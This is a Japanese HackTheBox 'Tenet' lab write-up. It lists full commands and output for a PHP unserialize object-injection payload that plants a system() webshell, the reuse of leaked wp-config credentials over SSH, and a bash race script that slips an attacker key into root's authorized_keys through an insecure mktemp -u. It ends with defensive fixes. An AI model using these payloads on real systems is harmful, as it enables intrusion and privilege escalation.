HackTheBox: Tenet — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP: WordPress)
→
22(SSH)/80(HTTP: WordPress)
ブログコメント調査
sator.php + .bak の存在を示唆
→
sator.php + .bak の存在を示唆
sator.php.bak ソース漏洩
DatabaseExport::__destruct() PHP Object Injection
→
DatabaseExport::__destruct() PHP Object Injection
webshell 設置 & RCE
attack.php (www-data)
→
attack.php (www-data)
wp-config.php 資格情報流用
neil:Opera2112
→
neil:Opera2112
neil SSH
user.txt ✓
→
user.txt ✓
enableSSH.sh レースコンディション
mktemp -u + touch + echo の隙間
→
mktemp -u + touch + echo の隙間
root authorized_keys へ鍵混入
→
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.54.19 nmap -sV -sC -p 22,80 10.129.54.19
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Tenet |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-generator: WordPress 5.6 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
ルートページは
tenet.htb ベースの WordPress ブログへリダイレクトされるため
/etc/hosts に 10.129.54.19 tenet.htb を追記しておく。
PHASE 2
WordPressブログのコメント調査 — sator.php の手掛かり
“Migration” 記事のコメント欄
BASH
curl -s "http://tenet.htb/index.php/2020/12/16/logs/"
RESULT (コメント欄抜粋)
<b class="fn">neil</b> says:
<div class="comment-content">
<p>did you remove the sator php file and the backup?? the migration
program is incomplete! why would you do this?!</p>
</div>
🚨
neil自身のコメントから、
sator.php という管理用スクリプトと
そのバックアップファイルが(削除されたはずが)存在していたことが判明する。
典型的な命名規則から sator.php.bak を直接推測して試す。
sator.php.bak の直接アクセス
BASH
curl -s "http://10.129.54.19/sator.php.bak"
RESULT (実際に取得できたソース全文)
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
🚨
脆弱性の核心:
$_GET['arepo'] をそのまま unserialize()
している(PHP Object Injection)。DatabaseExport クラスの
__destruct() マジックメソッドはオブジェクトが破棄される瞬間
(スクリプト終了時)に自動的に呼ばれ、$this->user_file へ
$this->data の内容をそのまま書き込む。user_file/data
はどちらも public プロパティなので、シリアライズ文字列内で自由に上書きできる
→ 任意のファイル名に任意の内容を書き込める(任意ファイル書込)。
PHASE 3
PHP Object Injection でwebshell設置 & RCE
悪意あるシリアライズオブジェクトの組み立て
PYTHON (ペイロード構築ロジック)
def serialize_str(s: str) -> str:
return f's:{len(s.encode("utf-8"))}:"{s}"' # PHP文字列シリアライズはUTF-8バイト長が必要
user_file = "attack.php"
data = '<?php system($_GET["cmd"]);?>'
payload = (
'O:14:"DatabaseExport":2:{'
f's:9:"user_file";{serialize_str(user_file)};'
f's:4:"data";{serialize_str(data)};'
'}'
)
print(payload)
RESULT
O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"attack.php";s:4:"data";s:29:"<?php system($_GET[\"cmd\"]);?>";}
ℹ️
O:14:"DatabaseExport" はクラス名の文字数、s:29:"..." は
文字列プロパティのバイト長を表す。PHPのシリアライズ形式は長さがずれると
パースエラーになるため、文字数は必ずプログラムで動的に計算すること
(エスケープされた \" はシリアライズ後の実バイト数として数える)。
sator.php へペイロード送信 → webshell 設置
BASH
curl -s -G --data-urlencode \
'arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"attack.php";s:4:"data";s:29:"<?php system($_GET[\"cmd\"]);?>";}' \
http://10.129.54.19/sator.php
RESULT
[+] Grabbing users from text file <br> [] Database updated <br>
BASH (webshell疎通確認)
curl -s "http://10.129.54.19/attack.php?cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功。
__destruct() がスクリプト終了時に自動発火し、
attack.php(内容: <?php system($_GET["cmd"]);?>)が
Webルートに書き込まれた。以降 attack.php?cmd=<任意コマンド> で
www-data 権限のコマンド実行が可能。
PHASE 4
wp-config.php 資格情報の使い回し & user.txt 取得
wp-config.php からDB資格情報を読む
BASH
curl -s "http://10.129.54.19/attack.php?cmd=grep+DB_+/var/www/html/wordpress/wp-config.php"
RESULT
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );
define( 'DB_HOST', 'localhost' );
⚠️
WordPress の DB ユーザー名が偶然にも実在の Linux ユーザー
neil と一致している。
パスワードの使い回しを疑いそのまま SSH を試す。
SSHログイン & user.txt 取得
BASH
sshpass -p 'Opera2112' ssh neil@10.129.54.19 "id; cat ~/user.txt"
RESULT
uid=1000(neil) gid=1000(neil) groups=1000(neil) ababd2f421b55663f3b8fdd72581b94d
user.txt — neil@tenet
ababd2f421b55663f3b8fdd72581b94d
PHASE 5
enableSSH.sh のレースコンディション解析
sudo権限の確認
BASH
neil@tenet:~$ sudo -l
RESULT
User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
BASH
neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
RESULT (実機で確認した実際のスクリプト全文)
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAA...(スクリプト自身のダミー鍵、コメント root@ubuntu)..."
addKey
checkAdded
🚨
脆弱性:
mktemp -u はファイル名を払い出すだけで
ファイルを作成しない(unsafeな使い方)。名前生成から実際に
touch でファイルが作られるまでの間、そのファイル名を先読みして
自分の公開鍵を先に書き込んでおくことができれば、スクリプトが
(rootとして)追記・authorized_keysへコピーする内容に紛れ込ませられる
(root権限で実行されるスクリプトが、非root所有の一時ファイルを無条件に信頼する
典型的なTOCTOU脆弱性)。
試行錯誤 1: Go製レーサー(自作) — 動くが安定しない
NOTE
最初に自作した攻撃コード(Go言語)は filepath.Glob("/tmp/ssh-*") で
対象ファイルを見つけ、ioutil.WriteFile()で上書きする方式。攻撃者から
1回ずつ `sudo enableSSH.sh` をSSH経由で叩き、成立するまでリトライする
設計にしたが、実機では試行回数が安定せず(数回で成立する時もあれば
80回試しても不成立の時もあった)。原因を調査した結果、SSHラウンドトリップを
挟むぶん「試行速度」が低いことに加え、複数のレーサーを同時に動かして
しまうと互いの書き込みが干渉し合い、勝率がさらに乱れることが判明した。
試行錯誤 2: 公式walkthrough相当のbashレーサー — 高速・確実
NOTE
公式walkthrough(khaoticdev.net "ssh_exploit.sh")と同じ手法に切り替えた: トリガー(`sudo enableSSH.sh &`を無限ループで非同期連射)と書き込み (`/tmp/ssh-*`へ`echo >>`で追記)を同一プロセス・同一ループ内で完結させ、 SSHラウンドトリップを一切挟まない。これにより試行速度が桁違いに向上し、 実機では起動後1〜2秒以内にレースが成立するようになった。
BASH (レーサースクリプト全文 — 対象へ転送して実行)
#!/bin/bash
while [[ 1 ]]; do
sudo /usr/local/bin/enableSSH.sh &>/dev/null &
vfile=$(ls -1 /tmp/ssh-* 2>/dev/null)
if [[ -n $vfile ]]; then
for file in $vfile; do
echo '<攻撃者の公開鍵 (ssh-keygenで生成)>' >> $file
done
fi
done
⚠️
ハマりどころ: このスクリプトを対象へ転送しバックグラウンド起動する際、
「古いレーサーを掃除してから起動する」ために
pkill -f tenet_race.sh; chmod +x /tmp/tenet_race.sh; nohup bash /tmp/tenet_race.sh ... &
のように1つのSSHコマンド文字列にまとめて実行すると、SSH経由の非対話
コマンド実行は bash -c "<コマンド全文>" として送られるため、
そのbash -c自身のコマンドライン(引数)にも “tenet_race.sh” という部分文字列が
含まれてしまい、pkill -f tenet_race.sh が自分自身の親プロセスを
巻き込んで即座に殺してしまう(SSHが exit-signal で終了し、
バックグラウンド起動が一度も実行されない)。pkillによる掃除と、
chmod/nohupによる起動は必ず別々のSSH呼び出しに分離することで解決した。
PHASE 6
レースコンディション実行 → root.txt
攻撃用鍵ペアを生成しレーサーへ埋め込む
BASH
ssh-keygen -t rsa -b 2048 -N "" -f ./tenet_root_id_rsa PUBKEY=$(cat ./tenet_root_id_rsa.pub) # レーサースクリプトの echo '...' >> $file の '...' 部分に $PUBKEY を埋め込む
レーサーを転送し起動(掃除と起動を別コマンドに分離)
BASH
# 1. 転送 sshpass -p 'Opera2112' scp ./tenet_race.sh neil@10.129.54.19:/tmp/tenet_race.sh # 2. 掃除(単独コマンド — 自己マッチ回避のため先頭文字をブラケットで囲む) sshpass -p 'Opera2112' ssh neil@10.129.54.19 \ "pkill -f '[t]enet_race.sh' 2>/dev/null; true" # 3. 起動(単独コマンド — chmod/nohupのみでpkillを含めない) sshpass -p 'Opera2112' ssh neil@10.129.54.19 \ "chmod +x /tmp/tenet_race.sh; nohup bash /tmp/tenet_race.sh \ >/tmp/.tenet_race.log 2>&1 & disown; sleep 1; echo LAUNCHED"
RESULT
LAUNCHED
root SSHログインをポーリングし成立を確認
BASH
for i in $(seq 1 30); do ssh -i ./tenet_root_id_rsa root@10.129.54.19 "id" 2>&1 | grep -q "uid=0" && break sleep 2 done
RESULT
1回目のチェック(起動後 約2秒)で成立:
uid=0(root) gid=0(root) groups=0(root)
✅
レースコンディション成立。 レーサーが
/tmp/ssh-XXXXXXXX の
出現を検知し、touch 直後の空ファイルへ攻撃者の公開鍵を追記 →
続けてスクリプト自身の(ダミーの)鍵が追記される → 両方が
/root/.ssh/authorized_keys へコピーされ、攻撃者の公開鍵で
rootとしてSSHログインできる状態になった。
レーサー停止 & root.txt 取得
BASH
sshpass -p 'Opera2112' ssh neil@10.129.54.19 "pkill -f '[t]enet_race.sh' 2>/dev/null; true" ssh -i ./tenet_root_id_rsa root@10.129.54.19 "id; hostname; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
tenet
4e0bc7768822600ef12e61f1588b1081
root.txt — root@tenet
4e0bc7768822600ef12e61f1588b1081
SUMMARY
攻略サマリー & 教訓
取得フラグ & 資格情報
user.txt — neil@tenet
ababd2f421b55663f3b8fdd72581b94d
root.txt — root@tenet
4e0bc7768822600ef12e61f1588b1081
| ユーザー | パスワード | 入手経路 |
|---|---|---|
| neil | Opera2112 | wp-config.php のDB資格情報がLinuxアカウントと共通 |
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 情報漏洩 | WordPressコメント + sator.php.bak | 内部スクリプトのソースコード漏洩 | Medium | ブログコメントからバックアップファイルの存在を推測し直接取得 |
| PHP Object Injection | sator.php (unserialize($_GET['arepo'])) |
任意ファイル書込 → RCE | Critical | DatabaseExport::__destruct() を悪用しWebシェルを書込み www-data 権限でコマンド実行 |
| 認証情報の使い回し | wp-config.php DBパスワード = Linuxアカウント | SSHログイン(一般ユーザー) | Medium | WordPress DB資格情報がそのままLinuxユーザーneilのパスワードとして通用 |
| TOCTOU レースコンディション | /usr/local/bin/enableSSH.sh (NOPASSWD sudo) |
権限昇格 (root) | Critical | mktemp -u(名前だけ払い出し)からtouchまでの隙間に攻撃者の公開鍵を書き込み、root所有authorized_keysへ混入 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap フルポートスキャン | 22/80のみ、WordPress 5.6検出 |
| 2 | ブログ調査 | コメント欄の手掛かり | sator.php + .bak の存在示唆 |
| 3 | PHP Object Injection | DatabaseExport::__destruct() 悪用 | webshell設置 (www-data RCE) |
| 4 | 資格情報流用 | wp-config.php → SSH | user.txt |
| 5 | 権限昇格準備 | enableSSH.sh レースコンディション解析 | 攻撃手法確立(bash自己完結型レーサー) |
| 6 | 権限昇格 | レース勝利 → authorized_keys混入 | root.txt |
| 症状 | 原因 | 修正 |
|---|---|---|
| Go製レーサー方式は成立するが試行回数が大きくばらつく(数回〜80回超) | SSHラウンドトリップを挟んで1回ずつ enableSSH.sh を叩く方式は試行速度が低く、複数レーサー同時稼働時は互いに干渉していた | 公式walkthrough相当の、トリガーと書き込みを同一bashループ内で完結させる自己完結型レーサーに置き換え(起動後1〜2秒で成立するよう改善) |
新レーサーの起動コマンドが echo LAUNCHED すら出力せず、SSHが exit-signal で即終了する |
pkill -f tenet_race.sh; chmod +x ...; nohup bash /tmp/tenet_race.sh ... & を1つのSSHコマンドにまとめたため、bash -c ラッパー自身のコマンドライン(chmod/nohup部分に含まれる”tenet_race.sh”)に pkill -f が自己マッチし、起動前に自分自身を巻き込んで終了していた |
pkillによる掃除と、chmod/nohupによる起動を別々のSSH呼び出しに分離。単独pkillも [t]enet_race.sh のようにブラケットで囲み自己マッチを回避 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 削除したはずの管理スクリプトのバックアップファイル(.bak)が公開領域に残存 | Webルート内でのバックアップ作成を禁止し、デプロイ前チェックでバックアップ拡張子(.bak/.old/.orig等)を検出・除外する。 |
ユーザー入力を検証せず unserialize() に渡している(PHP Object Injection) |
信頼できない入力の unserialize は絶対に避け、JSON等の安全なフォーマットを使う。やむを得ない場合は allowed_classes オプションで許可クラスを厳格に制限する。 |
| WordPress DB資格情報がLinuxログインパスワードと共通 | 用途ごとに別々の資格情報を発行し、パスワードの使い回しを禁止するポリシーを徹底する。 |
root権限で動くスクリプトが mktemp -u(unsafeな名前払い出し)を使い、TOCTOUレースコンディションが存在 |
mktemp(-uなし、実際にファイルを作成しロックする安全な版)を使うか、mkstemp(2)相当のアトミックなAPIを利用し、生成から書込みまでの間に他プロセスが介入できない設計にする。 |

